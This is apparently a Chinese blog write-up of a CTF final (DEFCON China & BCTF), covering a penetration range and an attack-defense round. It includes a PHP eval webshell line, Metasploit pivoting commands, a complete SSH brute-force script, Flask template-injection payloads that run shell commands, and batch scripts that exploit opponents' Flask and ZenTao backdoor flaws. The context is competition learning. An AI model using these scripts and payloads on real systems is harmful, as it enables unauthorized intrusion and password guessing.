DEFCON CHINA&BCTF的一些随笔

  • A+
所属分类:安全博客

萌新的第一次线下决赛,毫无意外的被打爆,打扰了我太菜了,告辞!

下面记录一下这次的收获吧。

靶场渗透

这次靶场是打的真的爽,也学习了很多东西。从一个博客开始到服务器到内网最后拿域控权限,打的真的爽啊。这里有5个flag,我们在拿域控,靶场总共6个flag。然后最开始博客的服务器里面我早就发现了一个pwn,应该最后一个flag。

唯一的遗憾是没时间了,mimikatz没升级,拿ms14-068打的时候缺少ptc模块,然后就没时间了,怪可惜了。唉。

因为是内网,所以没复现环境.刚好l3m0n师傅写了wp。师傅肯定写的比我详细,贴一下地址:

 Defcon China 靶场题 – 内网渗透Writeup

有些地方我们和l3mon师傅打的不一样,但是大体差不多。

开始吧!

首先第一关是wordpress博客,是一个twentyseventeen主题,首先在主页面发现了一个上传点,试图传马但是好像没用。然后进入默认的后台登陆页面

http://192.168.1.2/wp-admin/

尝试弱口令登陆,admin/admin直接进入后台,然后wordpress后台修改404.php来getshell。

参考文章:

《WORDPRESS后台拿WEBSHELL的2个方法》

http://192.168.1.2//wp-content/themes/twentyseventeen/404.php

修改加入一句话

@eval($_POST[‘pass’]);

然后蚁剑连接,找一波之后没有发现flag,倒是在根目录下找到一个大马shell.php (http://192.168.1.2/shell.php)

全局grep搜flag

grep flag -r /*

没发现flag,但是我诡异的发现了lib目录里面的c文件,然后有注释#flag for pwn,这里应该有一个flag。但是我不会…告辞。

然后就没思路了,先放着,想到权限不够可能要提权。

ubantu14.04,4.40内核

拿脏牛打:http://www.zerokeeper.com/penetration/the-use-of-dirty-cow-dirty-cattle-loopholes-in-the-right-to-try.html

发现并不能,执行exp的时候,反而把靶场打gg了,这尼玛就很迷了,用掉了一次重置机会。

然后拿最新的ubantu提权upstream44打:https://github.com/jas502n/Ubuntu-0day

执行exp的时候一直卡在那了,我也不懂,可能主办方搞了什么我不懂的操作233333

所以不了了之,打不下来。然后就想到了一开始博客主界面的上传界面。

然后主办方在这时放出了hint:管理员会定时查看上传的doc文档。

这里马上就想到office word钓鱼提权。拿CVE-2017-11882打一发

https://github.com/Ridter/CVE-2017-11882

然后用端口转发,msf监听端口弹shell。很明显是win服务器。

进入了192.168.2.1/24段,在根目录下找到了第二个flag。尴尬的是第一个flag还没拿到。

进去之后内网扫描一发

添加路由 run autoroute -s 192.168.2.1/24 进行端口扫描 use auxiliary/scanner/portscan/tcp set PORTS 3389,445,22,80,8080 set RHoSTS 192.168.2.1/24 set THREADS 50 exploit

先把各自的ip和内容说一下:

192.168.2.10 ————————————AD域-DC域控

192.168.2.112————————————AD域-PC个人机

192.168.2.104———————————–tomcat

192.168.2.114————————————word click sever

我们拿到的是114的权限。扫一波发现104的8080存在tomcat,默认账号密码可以进入

tomcat/tomcat

然后传jsp大马,拿到shell,在根目录下和/var/www/flag分别拿到flag。到这里就卡了,倒回去打提权那题。

打了好久还是没有提权成功。mmp的第一个flag还没拿到。

过了好久才然后脑洞大开ssh爆破第一个服务器密码:http://homeway.me/2015/06/20/python-violence-ssh-attack/

#!/usr/bin/python python # -*- coding: utf-8 -*- import paramiko,threading,sys,time,os class SSHThread(threading.Thread): def __init__(self, ip, port, timeout, dic, LogFile): threading.Thread.__init__(self) self.ip = ip self.port = port self.dict = dic self.timeout = timeout self.LogFile = LogFile def run(self): print("Start try ssh => %s" % self.ip) username = "root" try: password = open(self.dict).read().split('\n') except: print("Open dict file `%s` error" % self.dict) exit(1) for pwd in password: try: ssh = paramiko.SSHClient() ssh.set_missing_host_key_policy(paramiko.AutoAddPolicy()) ssh.connect(self.ip, self.port, username, pwd, timeout = self.timeout) print("\nIP => %s, Login %s => %s \n" % (self.ip, username, pwd)) open(self.LogFile, "a").write("[ %s ] IP => %s, port => %d, %s => %s \n" % (time.asctime( time.localtime(time.time()) ), self.ip, self.port, username, pwd)) break except: print("IP => %s, Error %s => %s" % (self.ip, username, pwd)) pass def ViolenceSSH(ip, port, timeout, dic, LogFile): ssh_scan = SSHThread(ip, port, timeout, dic, LogFile) ssh_scan.start() def main(ipFile, dic, log): if ipFile == "-h": help() try: ipText = open(ipFile).read().split('\n') for ip in ipText: if ip != '': time.sleep(0.5) threading.Thread(target = ViolenceSSH, args = (ip, 22, 1, dic, log, )).start() except: print("Open IP list file `%s` error" % ipFile) exit(1) def help(): print("python ssh.scan.py 使用说明:\n\ python ssh.scan.py ip_file_path dict_file_path ssh_log_path \n") exit(1) if __name__ == '__main__': fpath = os.path.dirname(os.path.abspath('__file__')) ipFile = sys.argv[1] if len(sys.argv) > 1 else fpath+"/dict/ip" dic = sys.argv[2] if len(sys.argv) > 2 else fpath+"/dict/password" log = sys.argv[3] if len(sys.argv) > 3 else fpath+"/log/sshd" try: os.system("clear") main(ipFile, dic, log) except KeyboardInterrupt: exit(1)

东西很简单,主要默认目录如下:

|--ssh.scan.py
|--/log:
sshd
|--/dict:
ip
password

ip和password按照一行一个放置就行了。

弱口令top1000跑一发,发现ssh密码是admin。nice啊!终于拿到了第一个flag。太坑了弱口令2333333

通过104打112AD域PC的时候卡了,发现有3389端口开放,各种弱口令都试了,没用。

依然不知道用户名和密码。这时主办方出了hint,某个服务器的用户名和密码可能在某个数据库里面,我们马上回去找已经拿到的服务器的数据库。这里耗了很多时间,好像我的jps大马有问题,菜刀连不上,只能一步一步的查询数据库,哎,用太多时间卡这了。确实是我的锅。

最后在104服务器一个数据库里找到了用户名和密码。

3389远程登陆进112AD域PC端.

但这只是拿到域内机器的本地administrator权限,需要提权提升到system权限。这应该是最后一个flag。

马上想到ms14-068,域权限提升。

搜了一下,大多都是python写的exp,但是目前112机是win7系统,不可能去装个python环境吧,果断找exe的exp。

我找到一个文章:《域渗透提权之MS14-068》

这篇文章是不使用python脚本的。按照文章打一波,应该是能打出来的,看l3mon师傅的wp也是这样打。唯一的缺陷就是之前说的,mimikatz出了问题和时间到了,可惜…

靶场渗透就这些了,打扰了太菜了。

A&D攻防

萌新第一次打A&D,12点开始比赛,开始之后四小时进入A&D模式,18点暂停比赛,第一天打两个小时awd。

按照我之前写的文章《CTF线下AWD攻防模式的准备工作及起手式》打,ssh密码是随机的,应该不用改。

这次有两个web,一个flaskbb,一个禅道cms9.8.3,什么都不管先down源码。期间发现禅道是弱口令admin/123456,进去之后赶紧改密码(禅道第一次登陆之后默认要求改密码),然后考虑能不能登别人的禅道改别人的后台密码。然而我并没有搞懂怎么打别人,怎么访问别人的服务?一脸蒙蔽。开始审计源码。

很快发现禅道有个function door(),应该是后门,注释掉发现并没有判down,也并没有被打,那应该是防住了。

DEFCON CHINA&BCTF的一些随笔

然而还没有缓过神来,flask就已经被打了,讲真我真的慌了,紧张了,旁边的提示其实是只显示我们队的信息。而我以为是全场的,想想,全场只有我队被打,只有我队扣分,多么难受啊!当时看一眼积分榜就骂一句mmp,心态是真的崩。哎,太紧张了。

早早就在流量包里面发现了对面打过来的payload,也没有啥垃圾流量的。

{{().__class__.__bases__.0.__subclasses__().59.__init__.__globals__.linecache.os.popen(“cat /fla*”).read()}}

明显的flask模板渲染命令注入,但是我不知道怎么去打别人…找不到别人在哪。不管了,修一下洞先DEFCON CHINA&BCTF的一些随笔

改成跳转502badaway,就行了,主页面也502badaway,应该没问题了。但是出现了一个尴尬的问题,flask如何重启?

我python app.py不行,重启httpd服务权限不够,最后用kill进程解决了问题。

然后第一天比赛就结束了。flask应该就这一个模板渲染的洞。因为不大会flask,只能看流量找别人的payload,然后蒙蔽的不知道怎么打别人。

回去之后和ADog一起分析了一下那个后门。这个后门之前在国赛出过,叫做weevely3

参考乐清师傅的文章:《weevely3后门分析》

一模一样的后门,只有参数不一样。写好exp,因为不会打别人,不知道别人在哪,打不了,只能写好打本地的禅道。

但是利用这个后门需要满足两个欧皇条件,第一,进入对方靶机后台。第二,对方没有把后门注释。

然而,只要进入了后台,自动要求改密码的,不可能知道别人后台密码是什么。

也就是说,除非出0day,不然不可能利用起来。

然后认真读当时拍下来的比赛规则:

DEFCON CHINA&BCTF的一些随笔

对抗区是172.16.5.0/24,我们自己是172.16.5.25.

那应该我们都在同一个网段,用masscan来扫出他们的地址,再加上端口:

masscan -p5070 172.16.5.0/24

第二天实际扫描的结果:

Discovered open port 5070/tcp on 172.16.5.18
Discovered open port 5070/tcp on 172.16.5.12
Discovered open port 5070/tcp on 172.16.5.20
Discovered open port 5070/tcp on 172.16.5.21
Discovered open port 5070/tcp on 172.16.5.23
Discovered open port 5070/tcp on 172.16.5.10
Discovered open port 5070/tcp on 172.16.5.24
Discovered open port 5070/tcp on 172.16.5.22
Discovered open port 5070/tcp on 172.16.5.19
Discovered open port 5070/tcp on 172.16.5.16
Discovered open port 5070/tcp on 172.16.5.17
Discovered open port 5070/tcp on 172.16.5.13
Discovered open port 5070/tcp on 172.16.5.14
Discovered open port 5070/tcp on 172.16.5.26
Discovered open port 5070/tcp on 172.16.5.15
Discovered open port 5070/tcp on 172.16.5.11        

25是我们自己,11到26都是对方的靶机。

那行,写flask的批量脚本,最后测试只有3个队能拿flag

 

#-*-coding:utf-*-


import requests


import random


import re


import time


def getflag(url):


url += '{{().__class__.__bases__.0.__subclasses__().59.__init__.__globals__.linecache.os.popen("cat /fla*").read()}}'


headers={


'Host':'flaskweb.com',


'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:56.0) Gecko/20100101 Firefox/56.0',


'Accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8',


'Accept-Language': 'zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3'


}


s=requests.get(url=url,headers=headers,timeout=5)


try:


return s.content


except:


print 'error!'


def post(flag):


url = 'https://172.16.4.1/Common/awd_sub_answer'


data = {


'answer':flag,


'token' : '10e0a17dda379958fdc1891461ff6547'


}


s=requests.post(url=url,data=data,verify=False)


print s.content


if __name__ == '__main__':


for i in range(11,26): if i==25: continue


url = 'http://172.16.5.%d' % i


url += ':5070/'


content = getflag(url).replace('\n','')


flag = re.findall('http://flaskweb.com/(.*?)not found',content)[0].strip()


print flag


post(flag)

到最后都修了这个洞。一个flag都拿不了。

第二天禅道一开始就被打了,这尼玛是0day啊,我们昨天改的后台密码登不上了,查看流量,看不懂他的payload,于是我们申请重置,结果快不过他们的脚本,后台密码还是被改了,安装昨天的推论,需要先进后台才能利用那个后门(前提是没有注释掉)就先放下了。5分钟一轮,一直拿flask的分。到12点才去看禅道的流量,猛然发现,卧槽,源码被改了!!

不需要进后台直接就能拿flag。woc!

直接把晚上研究的脚本批量:

#!/usr/bin/python


#coding=utf-8


import sys,requests,base64,re


def getflag(url):


s=requests.session()


headers = {


'Accept-Language' : 'ah;q=0.8,an-US;q=0.1,an;q=0.2,an;q=0.3',


'Cookie' : 'lang=zh-cn; device=desktop; theme=default; windowWidth=1536; windowHeight=701; keepLogin=on; za=admin; zp=b8ed03c266b6b4c05d76a3f3ebafefa5ed3ad628; zentaosid=gmi8vjco0litcsquukqnuga5g6',


'Referer' : 'http://114.114.114.114/?q0=hahaha&q1=b4e&q2=G/9PnEkWL/S2Myt8SWm2dqgqKGWyjGA5LxRikw==&q3=f5b'


}


url+='www/index.php?m=misc&f=door'


s=requests.get(url=url,headers=headers)


content = re.findall('<ccd2e8f9>(.*?)</ccd2e8f9>',s.content)


try:


return content[0]


except:


print 'null!'


def decode(content):


s=requests.session()


url='http://127.0.0.1/123.php'


data = {


'q': content


}


s=requests.post(url=url,data=data)


return s.content


def post(flag):


url = 'https://172.16.4.1/Common/awd_sub_answer'


data = {


'answer':flag,


'token' : '10e0a17dda379958fdc1891461ff6547'


}


s=requests.post(url=url,data=data,verify=False)


print s.content


if __name__ == '__main__':


for i in range(11,27):


if i ==25:


continue


url='http://172.16.5.%d:5073/' % i


if(decode(getflag(url))):


print url


content = decode(getflag(url))


if len(content)<60:


print content


post(content)


else:


print url+'Error!'

也是每轮只能打三个队的flag。如果注释掉后门的话也打不了。

但是我们也被打了!!!我们是注释掉后门了的,那就是另外的骚操作了,看payload貌似是靠sso单点登陆,但是好像忘记加referer了,一直302跳转,sso失败,唉,赛后才发现没有加referer,太可惜了。

但是还有一个点,主办方是不会改源码的,但是我们也重置过了,源码确实被改了。

最开始打我们的是Nu1L!赛后听别的队说他们也是拿别人payload直接打的。

后来我写这篇文章的时候才想到,会不会是Nu1L一晚上挖出了最新禅道的0day,并且自己改了个sso的洞然后写好了批量打全场getshell改源码并自己用sso的洞再来拿flag。并写入内存马。

细思极恐!但这又可能是最接近真相的推测。

第一名30w,拿0day做题并不奇怪,这就是国际强队的水平吗orz,太强了,太强了。

之后flask改了check规则,主页面不能502badaway,我们只要处理那个报错页面就行了,但是这次使用kill进程来重启却不行了,不知道主办方干嘛了。kill掉不重启,就一直down,重置次数也用完了,gg!一直down到比赛结束,mmp的。

赛后才知道,原来可以利用模板渲染的那个洞来重启flask,因为模板渲染的命令注入是root权限的,

{{().__class__.__bases__.0.__subclasses__().59.__init__.__globals__.linecache.os.popen(“service httpd restart”).read()}}

重启httpd服务即可。

A&D也就这样了。

被虐的挺惨的确实orz…

努力加油吧!

人生就是在被虐和被虐和被虐中疯狂成长。

 

 

发表评论

:?: :razz: :sad: :evil: :!: :smile: :oops: :grin: :eek: :shock: :???: :cool: :lol: :mad: :twisted: :roll: :wink: :idea: :arrow: :neutral: :cry: :mrgreen: